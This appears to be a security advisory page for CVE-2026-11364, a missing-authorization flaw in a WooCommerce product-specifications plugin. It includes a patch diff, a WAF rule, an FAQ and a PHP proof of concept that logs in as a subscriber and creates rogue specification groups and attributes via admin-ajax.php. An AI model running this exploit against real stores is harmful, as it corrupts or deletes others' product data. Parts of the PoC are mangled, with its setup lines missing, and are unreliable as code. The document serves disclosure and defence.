“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-11364:nnThis vulnerability affects the Product Specifications for WooCommerce plugin (version 0.8.9 and earlier). The plugin exposes two AJAX actions, ‘dwps_modify_groups’ and ‘dwps_modify_attributes’, that allow authenticated attackers with Subscriber-level access to create, modify, and delete product specification groups and attributes. These actions lack proper authorization checks, enabling unauthorized manipulation of business-critical taxonomy data.nnThe root cause is the absence of capability checks and nonce verification in the __invoke() methods of the AttributeGroupController and AttributeController classes. The vulnerable code resides in ‘product-specifications/src/EntityUpdater/AttributeGroupController.php’ and ‘product-specifications/src/EntityUpdater/AttributeController.php’. The __invoke() methods, which handle both AJAX actions, directly process user-supplied data via filter_input(INPUT_POST, ‘do’) without verifying the requestor’s permissions or validating a nonce token. The sanitizeAction() method defaults to ‘add’ if an unrecognized action is provided, further widening the attack surface. The affected AJAX actions are registered in WordPress’s wp_ajax_ hooks for authenticated users only, but the lack of authorization within the handler permits any authenticated user, regardless of role, to invoke these endpoints.nnExploitation requires only a valid WordPress user session with Subscriber-level privileges or higher. An attacker sends a POST request to ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to ‘dwps_modify_groups’ or ‘dwps_modify_attributes’. The ‘do’ parameter specifies the operation: ‘add’, ‘edit’, or ‘delete’. The request includes additional parameters such as ‘name’, ‘slug’, ‘description’, ‘parent’ (for groups), or ‘group_id’ (for attributes). Because no nonce check or capability check exists in the vulnerable version, the attacker can execute these operations without restriction. An example payload for creating a new attribute group would be: action=dwps_modify_groups&do=add&name=MaliciousGroup&slug=malicious-group&description=Created+by+attacker.nnThe patch in version 0.8.10 adds two critical authorization checks within each controller. The new isAuthorizedRequest() method calls hasValidNonce() to validate a nonce via check_ajax_referer() and canManageTaxonomy() to verify the user has the appropriate taxonomy capability (e.g., ‘edit_terms’) for the requested operation. The nonce is generated with wp_create_nonce() in the updated JavaScript templates (list-page.php) and sent with each request. Before the patch, these checks were completely absent. After the patch, any request that fails either the nonce or capability check returns an error with HTTP status 403 and does not process the data. The sanitizeAction() method was also tightened to use strict comparison (=== true).nnThe impact is significant: an attacker can create arbitrary product specification groups and attributes that appear on the site’s frontend, potentially displaying false or malicious product specifications. They can modify existing groups and attributes to corrupt business data or inject misleading information. They can also delete legitimate groups and attributes, causing data loss and broken product displays. This undermines the integrity of e-commerce product data and can damage customer trust, SEO, and regulatory compliance (e.g., false specifications for products).nnThe CVSS score of 4.3 (Medium) reflects the requirement for authentication, but the ease of exploitation (any authenticated user) amplifies the real-world risk, especially on sites with many users or linked accounts (e.g., WooCommerce customer accounts).”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-11364 – Product Specifications for Woocommerce $username,n ‘pwd’ => $password,n ‘rememberme’ => ‘forever’,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_HEADER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nnecho “[*] Authentication requested for user: $username\n”;nn// Step 2: Create a malicious attribute groupn$ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;n$ajax_data = array(n ‘action’ => ‘dwps_modify_groups’,n ‘do’ => ‘add’,n ‘name’ => ‘Malicious Group’,n ‘slug’ => ‘malicious-group’,n ‘description’ => ‘This group was created by an unauthorized attacker’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_HEADER, false);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nnecho “[*] Attempting to create attribute group via dwps_modify_groups…\n”;necho “Response: $response\n”;nn// Step 3: Create a malicious attribute under the new group (optional, shows deeper exploitation)n$ajax_data_attr = array(n ‘action’ => ‘dwps_modify_attributes’,n ‘do’ => ‘add’,n ‘name’ => ‘Malicious Attribute’,n ‘slug’ => ‘malicious-attribute’,n ‘group_id’ => ‘1’, // Requires knowing a valid group ID; replace as neededn ‘description’ => ‘This attribute was created by an unauthorized attacker’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data_attr));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_HEADER, false);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n$response = curl_exec($ch);ncurl_close($ch);nnecho “[*] Attempting to create attribute via dwps_modify_attributes…\n”;necho “Response: $response\n”;nn// Cleanup cookie filenunlink(‘/tmp/cookies.txt’);n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-11364n# Blocks unauthorized AJAX requests to dwps_modify_groups and dwps_modify_attributes without a valid noncen# Applies only when the request lacks the required nonce parameternSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261136,phase:2,deny,status:403,chain,msg:’CVE-2026-11364 – Missing authorization in dwps_modify_groups or dwps_modify_attributes AJAX actions’,severity:’CRITICAL’,tag:’CVE-2026-11364′”n SecRule ARGS_POST:action “@rx ^dwps_modify_(groups|attributes)$” “chain”n SecRule ARGS_POST:dwps_modify_groups_nonce|ARGS_POST:dwps_modify_attributes_nonce “@eq ” “chain”n SecRule ARGS_POST:do “@rx ^(add|edit|delete)$”n”
}
“`

CVE-2026-11364: Product Specifications for Woocommerce <= 0.8.9 Missing Authorization to Authenticated (Subscriber+) Arbitrary Attribute/Group Creation, Modification, and Deletion via 'dwps_modify_groups' and 'dwps_modify_attributes' AJAX Actions PoC, Patch Analysis & Rule
CVE-2026-11364
product-specifications
0.8.9
0.8.10
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/product-specifications/assets/admin.asset.php
+++ b/product-specifications/assets/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '0374a707ac689cea163c');
+<?php return array('dependencies' => array(), 'version' => '88f1e0cc01565028bae6');
--- a/product-specifications/product-specifications.php
+++ b/product-specifications/product-specifications.php
@@ -4,14 +4,14 @@
* Plugin Name: Product Specifications for WooCommerce
* Plugin URI: https://github.com/dornaweb/product-specifications/
* Description: This plugin adds a product specifications table to your woocommerce products.
- * Version: 0.8.9
+ * Version: 0.8.10
* Author: Amin Abdolrezapoor
* Author URI: https://amin.nz
* License: GPL-2.0+
* Requires Plugins: woocommerce
* Requires PHP: 7.4
* Requires at least: 5.9
- * WC tested up to: 10.7.0
+ * WC tested up to: 10.8.1
* WC requires at least: 8.0.0
*/
declare (strict_types=1);
--- a/product-specifications/src/Admin/AdminPageTopMenuModifier.php
+++ b/product-specifications/src/Admin/AdminPageTopMenuModifier.php
@@ -8,6 +8,9 @@
public function modify(): void
{
global $submenu;
+ if (!isset($submenu['dw-specs'])) {
+ return;
+ }
foreach ($submenu['dw-specs'] as $key => $value) {
if ($value[2] === 'dw-specs-new') {
$submenu['dw-specs'][$key][2] = 'post-new.php?post_type=specs-table';
--- a/product-specifications/src/EntityUpdater/AttributeController.php
+++ b/product-specifications/src/EntityUpdater/AttributeController.php
@@ -18,6 +18,9 @@
public function __invoke(): void
{
$action = $this->sanitizeAction((string) filter_input(INPUT_POST, 'do', FILTER_SANITIZE_SPECIAL_CHARS));
+ if (!$this->isAuthorizedRequest($action)) {
+ return;
+ }
$data = $this->formData();
if ($action === self::ACTION_ADD) {
$this->processAdd($data);
@@ -33,6 +36,31 @@
}
wp_send_json_error(['result' => 'error', 'message' => 'Invalid request', 'where' => [], 'action' => 'unknown']);
}
+ private function isAuthorizedRequest(string $action): bool
+ {
+ if (!$this->hasValidNonce()) {
+ wp_send_json_error(['result' => 'error', 'message' => esc_html__('Security check failed', 'product-specifications'), 'where' => [], 'action' => $action], 403);
+ }
+ if (!$this->canManageTaxonomy($action)) {
+ wp_send_json_error(['result' => 'error', 'message' => esc_html__('You are not allowed to modify attributes', 'product-specifications'), 'where' => [], 'action' => $action], 403);
+ }
+ return true;
+ }
+ private function hasValidNonce(): bool
+ {
+ return (bool) check_ajax_referer(self::AJAX_ACTION, self::AJAX_ACTION . '_nonce', false);
+ }
+ private function canManageTaxonomy(string $action): bool
+ {
+ $taxonomy = get_taxonomy(TaxonomyAttribute::KEY);
+ if (!$taxonomy || empty($taxonomy->cap)) {
+ return false;
+ }
+ $capabilityMap = [self::ACTION_ADD => 'edit_terms', self::ACTION_EDIT => 'edit_terms', self::ACTION_DELETE => 'delete_terms'];
+ $capability = $capabilityMap[$action] ?? 'manage_terms';
+ $taxonomyCapability = (string) ($taxonomy->cap->{$capability} ?? $taxonomy->cap->manage_terms ?? '');
+ return $taxonomyCapability !== '' && current_user_can($taxonomyCapability);
+ }
// phpcs:ignore Inpsyde.CodeQuality.FunctionLength.TooLong
private function processAdd(array $data): void
{
@@ -156,6 +184,6 @@
}
private function sanitizeAction(string $action): string
{
- return in_array($action, [self::ACTION_ADD, self::ACTION_EDIT, self::ACTION_DELETE]) ? $action : 'add';
+ return in_array($action, [self::ACTION_ADD, self::ACTION_EDIT, self::ACTION_DELETE], true) ? $action : 'add';
}
}
--- a/product-specifications/src/EntityUpdater/AttributeGroupController.php
+++ b/product-specifications/src/EntityUpdater/AttributeGroupController.php
@@ -13,6 +13,9 @@
public function __invoke(): void
{
$action = $this->sanitizeAction((string) filter_input(INPUT_POST, 'do', FILTER_SANITIZE_SPECIAL_CHARS));
+ if (!$this->isAuthorizedRequest($action)) {
+ return;
+ }
$data = $this->formData();
if ($action === self::ACTION_ADD) {
$this->processAdd($data);
@@ -28,6 +31,31 @@
}
wp_send_json_error(['result' => 'error', 'message' => 'Invalid request', 'where' => [], 'action' => 'unknown']);
}
+ private function isAuthorizedRequest(string $action): bool
+ {
+ if (!$this->hasValidNonce()) {
+ wp_send_json_error(['result' => 'error', 'message' => esc_html__('Security check failed', 'product-specifications'), 'where' => [], 'action' => $action], 403);
+ }
+ if (!$this->canManageTaxonomy($action)) {
+ wp_send_json_error(['result' => 'error', 'message' => esc_html__('You are not allowed to modify groups', 'product-specifications'), 'where' => [], 'action' => $action], 403);
+ }
+ return true;
+ }
+ private function hasValidNonce(): bool
+ {
+ return (bool) check_ajax_referer(self::AJAX_ACTION, self::AJAX_ACTION . '_nonce', false);
+ }
+ private function canManageTaxonomy(string $action): bool
+ {
+ $taxonomy = get_taxonomy(TaxonomyAttributeGroup::KEY);
+ if (!$taxonomy || empty($taxonomy->cap)) {
+ return false;
+ }
+ $capabilityMap = [self::ACTION_ADD => 'edit_terms', self::ACTION_EDIT => 'edit_terms', self::ACTION_DELETE => 'delete_terms'];
+ $capability = $capabilityMap[$action] ?? 'manage_terms';
+ $taxonomyCapability = (string) ($taxonomy->cap->{$capability} ?? $taxonomy->cap->manage_terms ?? '');
+ return $taxonomyCapability !== '' && current_user_can($taxonomyCapability);
+ }
private function processAdd(array $data): void
{
if (empty($data['name'])) {
@@ -78,6 +106,6 @@
}
private function sanitizeAction(string $action): string
{
- return in_array($action, [self::ACTION_ADD, self::ACTION_EDIT, self::ACTION_DELETE]) ? $action : 'add';
+ return in_array($action, [self::ACTION_ADD, self::ACTION_EDIT, self::ACTION_DELETE], true) ? $action : 'add';
}
}
--- a/product-specifications/templates/admin/attribute-groups/list-page.php
+++ b/product-specifications/templates/admin/attribute-groups/list-page.php
@@ -214,7 +214,11 @@
<script id="dwps_delete_template" type="x-tmpl-mustache" data-templateType="JSON">
{
"data" : {
- "type" : "group"
+ "type" : "group",
+ "nonceField" : "dwps_modify_groups_nonce",
+ "nonce" : "<?php
+ echo esc_attr(wp_create_nonce('dwps_modify_groups'));
+ ?>"
},
"modal" : {
"title" : "<?php
--- a/product-specifications/templates/admin/attributes/list-page.php
+++ b/product-specifications/templates/admin/attributes/list-page.php
@@ -202,7 +202,11 @@
<script id="dwps_delete_template" type="x-tmpl-mustache" data-templateType="JSON">
{
"data" : {
- "type" : "attribute"
+ "type" : "attribute",
+ "nonceField" : "dwps_modify_attributes_nonce",
+ "nonce" : "<?php
+ echo esc_attr(wp_create_nonce('dwps_modify_attributes'));
+ ?>"
},
"modal" : {
"title" : "<?php
--- a/product-specifications/vendor/composer/installed.php
+++ b/product-specifications/vendor/composer/installed.php
@@ -1,5 +1,5 @@
<?php
namespace {
- return array('root' => array('name' => 'amiut/product-specifications', 'pretty_version' => '0.8.9', 'version' => '0.8.9.0', 'reference' => '24c2e679c0d2b9bfcc97e079fa0bd14f0dd7fced', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('amiut/product-specifications' => array('pretty_version' => '0.8.9', 'version' => '0.8.9.0', 'reference' => '24c2e679c0d2b9bfcc97e079fa0bd14f0dd7fced', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'inpsyde/modularity' => array('pretty_version' => '1.8.0', 'version' => '1.8.0.0', 'reference' => 'c6855a6d9c4ce6f090d031e820f176bddf2a0b1c', 'type' => 'library', 'install_path' => __DIR__ . '/../inpsyde/modularity', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false)));
+ return array('root' => array('name' => 'amiut/product-specifications', 'pretty_version' => '0.8.10', 'version' => '0.8.10.0', 'reference' => 'c64f9ac21dcf83aa1e11db7a1d228b32be150743', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('amiut/product-specifications' => array('pretty_version' => '0.8.10', 'version' => '0.8.10.0', 'reference' => 'c64f9ac21dcf83aa1e11db7a1d228b32be150743', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'inpsyde/modularity' => array('pretty_version' => '1.8.0', 'version' => '1.8.0.0', 'reference' => 'c6855a6d9c4ce6f090d031e820f176bddf2a0b1c', 'type' => 'library', 'install_path' => __DIR__ . '/../inpsyde/modularity', 'aliases' => array(), 'dev_requirement' => false), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false)));
}
Frequently Asked Questions
What is CVE-2026-11364?
Vulnerability overviewCVE-2026-11364 is a missing authorization vulnerability in the Product Specifications for WooCommerce plugin for WordPress. It allows authenticated attackers with Subscriber-level access or higher to create, modify, and delete product specification groups and attributes via AJAX actions without proper capability checks or nonce verification.
Which versions of the plugin are affected?
Affected versionsAll versions of the Product Specifications for WooCommerce plugin up to and including version 0.8.9 are affected. Version 0.8.10 contains the patch that fixes the vulnerability.
How does the vulnerability work?
Technical mechanismThe plugin registers two AJAX actions, ‘dwps_modify_groups’ and ‘dwps_modify_attributes’, which are handled by the __invoke() methods in AttributeGroupController and AttributeController. These methods lack capability checks and nonce verification, allowing any authenticated user to send POST requests to admin-ajax.php and perform add, edit, or delete operations on taxonomy terms.
What is the CVSS score and severity?
Risk ratingThe vulnerability has a CVSS score of 4.3, which is classified as Medium severity. The score reflects the need for authentication, but the ease of exploitation by any authenticated user increases the practical risk, especially on sites with many user accounts.
Who can exploit this vulnerability?
Required access levelAny authenticated WordPress user with Subscriber-level access or higher can exploit this vulnerability. This includes customers who have created accounts on a WooCommerce site, making the attack surface potentially large.
What is the impact of exploitation?
Potential damageAn attacker can create, modify, or delete product specification groups and attributes. This can corrupt product data, display false specifications on the frontend, break product displays, and harm customer trust and SEO. Deleting legitimate data can cause permanent data loss.
How can I check if my site is vulnerable?
Detection stepsCheck the plugin version in the WordPress admin under Plugins. If the version is 0.8.9 or lower, the site is vulnerable. You can also verify by looking for the absence of nonce fields in the AJAX requests for ‘dwps_modify_groups’ and ‘dwps_modify_attributes’ actions.
How do I fix the vulnerability?
Patch and updateUpdate the Product Specifications for WooCommerce plugin to version 0.8.10 or later. This version adds capability checks and nonce verification to the affected AJAX handlers, preventing unauthorized access.
What if I cannot update the plugin immediately?
Temporary mitigationAs a temporary measure, you can disable the plugin or restrict access to the admin-ajax.php endpoint for unauthenticated or low-privilege users using a web application firewall (WAF) or custom code. However, updating is the recommended solution.
How does the proof of concept demonstrate the issue?
PoC explanationThe proof of concept logs in as a Subscriber, then sends a POST request to admin-ajax.php with action ‘dwps_modify_groups’ and do ‘add’ to create a new attribute group. It also shows creating an attribute under that group. The requests succeed without any nonce or capability check, confirming the vulnerability.
What changes were made in the patch?
Code diff summaryThe patch adds two new methods to both controllers: hasValidNonce() which checks a nonce via check_ajax_referer, and canManageTaxonomy() which verifies the user has the required taxonomy capability. The __invoke() method now calls isAuthorizedRequest() before processing any action, returning a 403 error if checks fail.
How can I detect exploitation attempts?
Detection guidanceMonitor server logs for POST requests to /wp-admin/admin-ajax.php with action parameters ‘dwps_modify_groups’ or ‘dwps_modify_attributes’ from user accounts with low privileges. Also look for unexpected creation or modification of product specification groups and attributes in the WordPress admin.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






